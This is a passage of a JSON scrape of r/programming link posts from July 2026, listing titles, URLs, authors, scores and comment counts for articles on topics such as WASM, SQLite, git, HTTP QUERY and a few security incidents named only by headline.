    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ux5sj1",
  "url": "https://encore.dev/blog/typescript-parser-wasm",
  "permalink": "https://www.reddit.com/r/programming/comments/1ux5sj1/we_compiled_our_typescript_parser_to_wasm/",
  "title": "We compiled our TypeScript parser to WASM",
  "body": null,
  "author": "TheSwedeheart",
  "subreddit": "programming",
  "score": 37,
  "upvoteRatio": 0.83,
  "numComments": 15,
  "createdAt": "2026-07-15T13:24:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://encore.dev/blog/typescript-parser-wasm",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ux1arm",
  "url": "https://binaryigor.com/the-order-of-data.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1ux1arm/the_order_of_data_defaults_performance/",
  "title": "The Order of Data: defaults, performance, determinism & paging",
  "body": "Various interesting things about sorting data: defaults, performance and determinism (or lack thereof) of paging ;)",
  "author": "BinaryIgor",
  "subreddit": "programming",
  "score": 12,
  "upvoteRatio": 0.8,
  "numComments": 2,
  "createdAt": "2026-07-15T09:52:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://binaryigor.com/the-order-of-data.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwxnox",
  "url": "https://notnotp.com/notes/end-to-end-encrypted-secret-sharing-with-the-web-crypto-api/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwxnox/endtoend_encrypted_secret_sharing_with_the_web/",
  "title": "End-to-end encrypted secret sharing with the Web Crypto API",
  "body": null,
  "author": "Opposite-Gur9623",
  "subreddit": "programming",
  "score": 62,
  "upvoteRatio": 0.86,
  "numComments": 7,
  "createdAt": "2026-07-15T06:25:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://notnotp.com/notes/end-to-end-encrypted-secret-sharing-with-the-web-crypto-api/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwv2xt",
  "url": "https://www.droppedasbaby.com/posts/db-commits/?utm_source=reddit&utm_content=r_programming",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwv2xt/ban_commitstransactions_using_ast_analysis_and/",
  "title": "Ban commits/transactions using AST analysis and linters",
  "body": null,
  "author": "droppedasbaby",
  "subreddit": "programming",
  "score": 30,
  "upvoteRatio": 0.69,
  "numComments": 27,
  "createdAt": "2026-07-15T04:09:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.droppedasbaby.com/posts/db-commits/?utm_source=reddit&utm_content=r_programming",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwrru3",
  "url": "https://www.youtube.com/watch?v=cUEc2pN_kaU",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwrru3/when_is_software_illegal_the_history_of_code_free/",
  "title": "When Is Software Illegal? The History Of Code & Free Speech",
  "body": null,
  "author": "Mynameis__--__",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.3,
  "numComments": 3,
  "createdAt": "2026-07-15T01:31:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=cUEc2pN_kaU",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwjsn7",
  "url": "https://www.kalandra.tech/blog/zero-code-validations-in-your-dotnet-api/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwjsn7/how_to_add_validations_without_adding_code_in_c/",
  "title": "How to add validations without adding code in C# .NET",
  "body": "It actually even removes code.",
  "author": "Kal1boy",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.66,
  "numComments": 10,
  "createdAt": "2026-07-14T20:08:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.kalandra.tech/blog/zero-code-validations-in-your-dotnet-api/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwj90b",
  "url": "https://www.patreon.com/engineering/posts/how-we-scaled-notifs-with-fanout-162544709",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwj90b/how_we_rebuilt_our_notification_platform_to/",
  "title": "How we rebuilt our notification platform to fanout millions of notifications without timing out",
  "body": "Patreon sends billions of notifications each year. As our largest creator audiences grew, a legacy task responsible for generating millions of recipient-specific notifications began consistently timing out.\n\nThis post explains how our team introduced a two-stage fanout architecture, isolated email, push and in-app processing, improved observability, and migrated more than 200 notification types across a 13-year-old codebase.",
  "author": "patreon-eng",
  "subreddit": "programming",
  "score": 194,
  "upvoteRatio": 0.91,
  "numComments": 22,
  "createdAt": "2026-07-14T19:48:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.patreon.com/engineering/posts/how-we-scaled-notifs-with-fanout-162544709",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwiukz",
  "url": "https://mail.openjdk.org/archives/list/valhalla-dev@openjdk.org/thread/IUNJJ3WP3X3XHP3QZTXXSSCPKFDNTK3W/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwiukz/openjdks_project_valhalla_new_candidate_jep_401/",
  "title": "OpenJDK's Project Valhalla -- New candidate JEP: 401: Value Objects (Preview)",
  "body": null,
  "author": "davidalayachew",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.77,
  "numComments": 3,
  "createdAt": "2026-07-14T19:33:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mail.openjdk.org/archives/list/valhalla-dev@openjdk.org/thread/IUNJJ3WP3X3XHP3QZTXXSSCPKFDNTK3W/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwbtcq",
  "url": "https://wasp.sh/blog/2026/07/13/why-design-matters-for-a-web-framework",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwbtcq/why_design_matters_for_a_web_framework_a_7year/",
  "title": "Why design matters for a web framework: a 7-year evolution",
  "body": null,
  "author": "matijash",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 1,
  "createdAt": "2026-07-14T15:24:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wasp.sh/blog/2026/07/13/why-design-matters-for-a-web-framework",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uwbmr0",
  "url": "https://cachebag.sh/journal/interactive-rebasing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uwbmr0/git_rebase_i_is_not_that_scary/",
  "title": "git rebase -i is not that scary",
  "body": null,
  "author": "cachebags",
  "subreddit": "programming",
  "score": 383,
  "upvoteRatio": 0.89,
  "numComments": 256,
  "createdAt": "2026-07-14T15:17:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cachebag.sh/journal/interactive-rebasing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw9mpy",
  "url": "https://ryanjk5.github.io/posts/rjk-duck/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw9mpy/beautiful_type_erasure_with_c26_reflection/",
  "title": "Beautiful Type Erasure with C++26 Reflection",
  "body": null,
  "author": "Ok_Statistician_781",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.9,
  "numComments": 2,
  "createdAt": "2026-07-14T14:03:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ryanjk5.github.io/posts/rjk-duck/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw7dnz",
  "url": "https://hjerpbakk.com/blog/2026/07/14/umami-for-apps",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw7dnz/using_selfhosted_umami_for_ios_app_analytics/",
  "title": "Using self-hosted Umami for iOS app analytics",
  "body": null,
  "author": "Sankra",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 0,
  "createdAt": "2026-07-14T12:32:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hjerpbakk.com/blog/2026/07/14/umami-for-apps",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw5myf",
  "url": "https://www.wired.com/story/python-is-so-slow-can-julia-solve-the-two-language-problem/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw5myf/python_is_so_slow_can_julia_solve_the_twolanguage/",
  "title": "Python Is So Slow. Can Julia Solve the Two-Language Problem?",
  "body": null,
  "author": "araujoms",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.25,
  "numComments": 26,
  "createdAt": "2026-07-14T11:11:02.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.wired.com/story/python-is-so-slow-can-julia-solve-the-two-language-problem/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw29nt",
  "url": "https://sebsite.pw/w/20260709-nan.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw29nt/two_case_studies_of_nan/",
  "title": "two case studies of NaN",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.91,
  "numComments": 1,
  "createdAt": "2026-07-14T08:01:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sebsite.pw/w/20260709-nan.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw298r",
  "url": "https://www.kevin-gibson.com/blog/writing-a-bindless-gpu-abstraction-layer/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw298r/writing_a_bindless_gpu_abstraction_layer/",
  "title": "Writing a bindless GPU abstraction layer",
  "body": null,
  "author": "Dear-Economics-315",
  "subreddit": "programming",
  "score": 40,
  "upvoteRatio": 0.92,
  "numComments": 2,
  "createdAt": "2026-07-14T08:01:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.kevin-gibson.com/blog/writing-a-bindless-gpu-abstraction-layer/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw1z5z",
  "url": "https://youtu.be/P6M_psWzo60",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw1z5z/dconf_25_building_a_3d_game_engine_with_d_lewis/",
  "title": "DConf '25 | Building a 3D Game Engine with D | Lewis Nicolle",
  "body": null,
  "author": "aldacron",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.84,
  "numComments": 2,
  "createdAt": "2026-07-14T07:44:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/P6M_psWzo60",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw0ika",
  "url": "https://www.chosun.com/english/national-en/2026/07/14/QARGFMJW2VEKVOF7ZUO7TGSCII/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw0ika/github_token_leak_found_by_korean_police/",
  "title": "GitHub token leak found by Korean police",
  "body": "There’s not much information yet unfortunately. The PAT-related accounts do not seem to be limited to Korean ones, so be aware.",
  "author": "MirdovKron",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.68,
  "numComments": 2,
  "createdAt": "2026-07-14T06:21:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.chosun.com/english/national-en/2026/07/14/QARGFMJW2VEKVOF7ZUO7TGSCII/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uw0cqs",
  "url": "https://paradigms-of-intelligence.github.io/morpho/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uw0cqs/morphohdl_a_minimalistic_language_for_growing/",
  "title": "MorphoHDL: a minimalistic language for growing circuits",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 0.91,
  "numComments": 0,
  "createdAt": "2026-07-14T06:12:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://paradigms-of-intelligence.github.io/morpho/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvwlql",
  "url": "https://lalitm.com/post/git-history/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvwlql/the_git_history_command_deserves_more_attention/",
  "title": "The git history command deserves more attention",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 256,
  "upvoteRatio": 0.97,
  "numComments": 33,
  "createdAt": "2026-07-14T02:59:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lalitm.com/post/git-history/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvszuq",
  "url": "https://www.theregister.com/devops/2026/07/13/http-gets-a-query-method-so-complex-searches-can-stop-pretending-to-be-post/5270192",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvszuq/http_gets_a_query_method_so_complex_searches_can/",
  "title": "HTTP gets a QUERY method so complex searches can stop pretending to be POST",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 1866,
  "upvoteRatio": 0.98,
  "numComments": 247,
  "createdAt": "2026-07-14T00:16:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.theregister.com/devops/2026/07/13/http-gets-a-query-method-so-complex-searches-can-stop-pretending-to-be-post/5270192",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvqyyn",
  "url": "http://css-dos.ahmedamer.co.uk/#about/how",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvqyyn/how_i_created_cssdos_the_80s_pc_implemented_in/",
  "title": "How I created CSS-DOS - the '80s PC implemented in pure CSS, booting Windows 1.0",
  "body": "Please read the[ **'How is this possible?'** ](https://css-dos.ahmedamer.co.uk/about/how)page, and the[ **full interactive walkthrough**](https://css-dos.ahmedamer.co.uk/about/file/map) to see how this is all done. \n\n**Did you use AI?**  \nThe site copy and explanations hand-edited by me pressing my keyboard buttons. I find AI writing to be cringeworthy and bland.   \n  \nHowever, AI did help a lot with churning out the code. It's definitely 'my code' - LLM-assisted, but not 'vibe-coded'. This is an entirely novel project and I don't think you could (or should) point an LLM at this and press 'Go'  \n  \nMy full thoughts on the use of AI in this project are available to read [**here**](https://css-dos.ahmedamer.co.uk/about/faqs/ai)",
  "author": "Putrid-Bench5056",
  "subreddit": "programming",
  "score": 52,
  "upvoteRatio": 0.82,
  "numComments": 25,
  "createdAt": "2026-07-13T22:50:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://css-dos.ahmedamer.co.uk/#about/how",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvgdwm",
  "url": "https://nebusec.ai/research/ionstack-part-2/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvgdwm/ghostlock_a_stackuaf_that_has_existed_in_all/",
  "title": "GhostLock, a stack-UAF that has existed in ALL Linux distributions for 15 years",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 41,
  "upvoteRatio": 0.83,
  "numComments": 1,
  "createdAt": "2026-07-13T16:26:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nebusec.ai/research/ionstack-part-2/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uve7m2",
  "url": "https://dkryaklin.com/blog/colordx-gpu",
  "permalink": "https://www.reddit.com/r/programming/comments/1uve7m2/converting_colors_in_js_at_6_billion_operations/",
  "title": "Converting colors in JS at 6 billion operations per second",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 25,
  "upvoteRatio": 0.71,
  "numComments": 7,
  "createdAt": "2026-07-13T15:07:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dkryaklin.com/blog/colordx-gpu",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvdm2g",
  "url": "https://noeldemartin.com/blog/programming-patterns-magic-objects",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvdm2g/javascript_magic_objects/",
  "title": "JavaScript Magic Objects",
  "body": null,
  "author": "noeldemartin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 1,
  "createdAt": "2026-07-13T14:45:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://noeldemartin.com/blog/programming-patterns-magic-objects",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uvb8bc",
  "url": "https://cargurus.dev/2026/04/29/vins-the-encoding-stamped-into-steel/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uvb8bc/vins_the_encoding_stamped_into_steel/",
  "title": "VINs: The Encoding Stamped Into Steel",
  "body": null,
  "author": "bezomaxo",
  "subreddit": "programming",
  "score": 172,
  "upvoteRatio": 0.83,
  "numComments": 40,
  "createdAt": "2026-07-13T13:13:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cargurus.dev/2026/04/29/vins-the-encoding-stamped-into-steel/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uuskff",
  "url": "https://lyra.horse/blog/2026/06/reddit-spam-internals/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uuskff/a_peek_into_reddits_antispam_internals/",
  "title": "A peek into Reddit's anti-spam internals",
  "body": null,
  "author": "NXGZ",
  "subreddit": "programming",
  "score": 145,
  "upvoteRatio": 0.92,
  "numComments": 33,
  "createdAt": "2026-07-12T21:47:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lyra.horse/blog/2026/06/reddit-spam-internals/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uuk1c5",
  "url": "https://kant2002.github.io/en/dotnet/open-source/2026/07/12/dotnet-gc.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1uuk1c5/integrating_net_gc_in_your_c_application/",
  "title": "Integrating .NET GC in your C++ application",
  "body": ".NET appears as large monolith where everything is working like a magic. But it is not, and even GC can be used outside of .NET runtime (obviously with caveat). When I was a kid, I always love disassemble things, to see how they works. Not always toys survive that exercise. But thanks to source control, .NET GC is safe from my hands. Hopefully lot of people like me, and will enjoy tearing down large system into pieces.",
  "author": "kant2002",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.69,
  "numComments": 4,
  "createdAt": "2026-07-12T16:25:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kant2002.github.io/en/dotnet/open-source/2026/07/12/dotnet-gc.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uuge0p",
  "url": "https://evanhahn.com/prefer-strict-tables-in-sqlite/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uuge0p/prefer_strict_tables_in_sqlite/",
  "title": "Prefer STRICT tables in SQLite",
  "body": null,
  "author": "mitousa",
  "subreddit": "programming",
  "score": 356,
  "upvoteRatio": 0.96,
  "numComments": 110,
  "createdAt": "2026-07-12T14:04:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://evanhahn.com/prefer-strict-tables-in-sqlite/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uuaukq",
  "url": "https://c3-lang.org/blog/0_8_2_a_modest_improvement/",
  "permalink": "https://www.reddit.com/r/programming/comments/1uuaukq/c3_082_a_modest_improvement/",
  "title": "C3 0.8.2 A modest improvement",
  "body": null,
  "author": "Nuoji",
  "subreddit": "programming",
  "score": 50,
  "upvoteRatio": 0.84,
  "numComments": 5,
  "createdAt": "2026-07-12T09:36:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://c3-lang.org/blog/0_8_2_a_modest_improvement/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1utqclm",
  "url": "https://safedep.io/jscrambler-npm-supply-chain-compromise/",
  "permalink": "https://www.reddit.com/r/programming/comments/1utqclm/official_jscrambler_npm_package_compromised_at/",
  "title": "Official jscrambler npm Package Compromised at 8.14.0",
  "body": null,
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 199,
  "upvoteRatio": 0.94,
  "numComments": 24,
  "createdAt": "2026-07-11T17:35:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/jscrambler-npm-supply-chain-compromise/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uti5tr",
  "url": "https://hjerpbakk.com/blog/2026/07/11/self-hosting-umami",
  "permalink": "https://www.reddit.com/r/programming/comments/1uti5tr/selfhosting_umami_analytics_on_cloudflare_fly_and/",
  "title": "Self-hosting Umami analytics on Cloudflare, Fly, and Supabase",
  "body": null,
  "author": "Sankra",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-07-11T11:57:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://hjerpbakk.com/blog/2026/07/11/self-hosting-umami",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1utfiq2",
  "url": "https://labs.iximiuz.com/tutorials/container-networking-from-scratch",
  "permalink": "https://www.reddit.com/r/programming/comments/1utfiq2/how_container_networking_works_building_a_bridge/",
  "title": "How Container Networking Works: Building a Bridge Network From Scratch",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 288,
  "upvoteRatio": 0.95,
  "numComments": 10,
  "createdAt": "2026-07-11T09:33:46.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/container-networking-from-scratch",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ut97oi",
  "url": "https://alexsyniakov.com/2026/07/11/programs-not-objects-how-i-stopped-designing-architecture-and-started-writing-a-3d-editor/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ut97oi/programs_not_objects_how_i_stopped_designing/",
  "title": "Programs, Not Objects: How I Stopped Designing Architecture and Started Writing a 3D Editor",
  "body": null,
  "author": "TheBear_at_SBB",
  "subreddit": "programming",
  "score": 121,
  "upvoteRatio": 0.83,
  "numComments": 55,
  "createdAt": "2026-07-11T03:43:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://alexsyniakov.com/2026/07/11/programs-not-objects-how-i-stopped-designing-architecture-and-started-writing-a-3d-editor/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ut1qjv",
  "url": "https://pehar.dev/reflections/packing-the-infinite-truck/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ut1qjv/packing_the_infinite_truck/",
  "title": "Packing the infinite truck",
  "body": null,
  "author": "PinkFrojd",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.45,
  "numComments": 4,
  "createdAt": "2026-07-10T22:05:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://pehar.dev/reflections/packing-the-infinite-truck/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1usr4oo",
  "url": "https://lemire.me/blog/2026/04/27/you-can-beat-the-binary-search/",
  "permalink": "https://www.reddit.com/r/programming/comments/1usr4oo/you_can_beat_the_binary_search/",
  "title": "You can beat the binary search",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 8,
  "createdAt": "2026-07-10T15:36:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://lemire.me/blog/2026/04/27/you-can-beat-the-binary-search/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1usmas0",
  "url": "https://words.filippo.io/128-bits/",
  "permalink": "https://www.reddit.com/r/programming/comments/1usmas0/quantum_computers_are_not_a_threat_to_128bit/",
  "title": "Quantum Computers Are Not a Threat to 128-bit Symmetric Keys",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 215,
  "upvoteRatio": 0.91,
  "numComments": 134,
  "createdAt": "2026-07-10T12:29:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://words.filippo.io/128-bits/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1usjlm7",
  "url": "https://www.gingerbill.org/article/2026/07/10/good-tools-are-invisible/",
  "permalink": "https://www.reddit.com/r/programming/comments/1usjlm7/good_tools_are_invisible/",
  "title": "Good Tools Are Invisible",
  "body": null,
  "author": "gingerbill",
  "subreddit": "programming",
  "score": 289,
  "upvoteRatio": 0.86,
  "numComments": 144,
  "createdAt": "2026-07-10T10:19:51.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
